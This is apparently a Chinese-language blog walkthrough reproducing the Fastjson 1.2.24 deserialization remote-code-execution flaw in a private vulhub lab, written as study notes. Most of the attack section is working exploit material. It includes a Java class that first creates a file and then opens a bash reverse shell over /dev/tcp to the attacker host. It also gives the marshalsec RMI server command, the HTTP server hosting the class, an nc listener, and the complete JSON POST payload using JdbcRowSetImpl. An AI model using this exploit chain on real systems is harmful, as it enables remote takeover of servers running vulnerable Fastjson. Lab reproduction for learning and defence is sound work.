環境準備:
192.168.59.130 攻擊機 window10
192.168.59.135 靶機 centos8
宣告:不涉及網際網路上的資源,學習都在內網完成,一切皆用於學習記錄,不可用於其他用途
環境準備:(自行baidu安裝)可能環境準備比較折磨,問題會不斷,慢慢來,有點耐心就行。
兩臺裝置都安裝1.8.0的jdk,python
window10:maven、marshalsec(反序列化環境)
centos8:安裝docker 搭建vulhub靶場環境,要裝docker-compose元件才能啟動vulhub環境
我踩過的坑都在環境搭建,yum源用ali的吧,從本地到centos8的檔案互傳(xshell7),可以安裝lszrz(應該是,忘了,可以查一下),儘可能用自己熟悉的Linux吧。
看了比較多文章,寫的都挺好的。
明確一下復現原理:
被攻擊者所在網站解析json時,沒有對json的內容進行驗證,就對json進行解析成java物件,然後去執行。攻擊者可以構造對應的payload執行程式碼,去使被攻擊者執行,達到程式碼執行或命令執行的目的,從而實現對被攻擊者的安全測試。
話不多說,開幹!!!!
目前所有準備就緒
centos8目錄結構:
[root@192 ~]# ll
total 198796
-rw-------. 1 root root 1177 Nov 16 2021 anaconda-ks.cfg
-rw-r--r--. 1 root root 194042837 Jul 27 06:33 jdk-8u202-linux-x64.tar.gz
drwxr-xr-x. 5 root root 134 Jul 27 22:29 marshalsec
drwxr-xr-x. 120 root root 4096 Jul 27 06:18 vulhub
cd vulhub/fastjson/1.2.24-rce/ 進入vulhub的fastjson1.2.24這個目錄
docker-compose up -d 啟動漏洞環境
測試:
存取:http://IP:8090
我在攻擊機的E槽下新建了一個名為java的資料夾,然後新建一個TouchFile.java檔案,寫入以下程式碼:
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success111111111"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
在java路徑下然後調出cmd命令列,直接回車,執行javac TouchFile.java,編譯:
在Java的目錄下的命令列中執行(要安裝python,具體設定去baidu搜尋):
python2 python -m SimpleHTTPServer 4444
python3 python3 -m http.server 4444
找到並進入marshalsec目錄,直接cmd,啟動RMI服務,監聽9999埠並載入遠端類TouchFile.class:
mvn clean package -DskipTests //有success,就成功了
然後會在marshalsec目錄生成一個target目錄,切換進去 發現生成了marshalsec-0.0.3-SNAPSHOT-all.jar:
cd target
開啟rmi服務:這裡的IP地址寫攻擊機開啟http服務的地址
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.59.130:4444/" 9999
開啟burp suite抓包,然後重新整理http://192.168.59.135:8090,開始轉圈圈:
來到burp suite:
修改payload,把請求體中的GET改成POST:
主要payload是紅色框框住的那塊
Content-Type:application/json //表明這個是json程式碼
Content-Length:164
下面有
這是我構造的payload,我看了網上很多,放進去都不行,觸發不了漏洞:
POST / HTTP/1.1
Host: 192.168.59.135:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3;en
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 164
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.59.130:9999/TouchFile",
"autoCommit":true
}
}
效果:
檢視rmi
檢視docker容器
docker ps
docker exec -it 容器id /bin/bash
!!!!成功寫入建立檔案
其實設定差不多
目前所有準備就緒
centos8目錄結構:
[root@192 ~]# ll
total 198796
-rw-------. 1 root root 1177 Nov 16 2021 anaconda-ks.cfg
-rw-r--r--. 1 root root 194042837 Jul 27 06:33 jdk-8u202-linux-x64.tar.gz
drwxr-xr-x. 5 root root 134 Jul 27 22:29 marshalsec
drwxr-xr-x. 120 root root 4096 Jul 27 06:18 vulhub
cd vulhub/fastjson/1.2.24-rce/ 進入vulhub的fastjson1.2.24這個目錄
docker-compose up -d 啟動漏洞環境
測試:
存取:http://IP:8090
我在攻擊機的E槽下新建了一個名為java的資料夾,然後新建一個TouchFile.java檔案,寫入以下程式碼:
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.59.130/2333 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
在java路徑下然後調出cmd命令列,直接回車,執行javac TouchFile.java,編譯:
在Java的目錄下的命令列中執行(要安裝python,具體設定去baidu搜尋):
python2 python -m SimpleHTTPServer 4444
python3 python3 -m http.server 4444
找到並進入marshalsec目錄,直接cmd,啟動RMI服務,監聽9999埠並載入遠端類TouchFile.class:
mvn clean package -DskipTests //有success,就成功了
然後會在marshalsec目錄生成一個target目錄,切換進去 發現生成了marshalsec-0.0.3-SNAPSHOT-all.jar:
cd target
開啟rmi服務:這裡的IP地址寫攻擊機開啟http服務的地址
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.59.130:4444/" 9999
不同點來了(安裝ncat,或者nmap,可以自行baidu,很簡單,無腦下一步就行)
監聽2333埠
centos8的命令:nc -lvp 2333
由於我用的是window10(我安裝的nmap)需要找到ncat.exe所在目錄,否則無法執行nc:ncat.exe -lvp 2333
開啟burp suite抓包,然後重新整理http://192.168.59.135:8090
修改payload,把請求體中的GET改成POST
主要payload是紅色框框住的那塊
Content-Type:application/json //表明這個是json程式碼
Content-Length:164
下面有
依舊用這個payload,構造完點GO:
POST / HTTP/1.1
Host: 192.168.59.135:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3;en
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 164
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.59.130:9999/TouchFile",
"autoCommit":true
}
}
看效果:
這個成功反彈shell,拿下!!!!!!!!
完活!結束了fastjson1.2.24漏洞復現
整一個流程下來,其實脈絡很清晰了,就是通過構造payload去讓被攻擊機觸發攻擊機設計好的程式碼,大半天操作就想說這句話。
結束了
注:未經同意請勿轉載,僅作學習使用。以上有描述不正確之處,望大家能不吝指出,共同學習共同進步。謝謝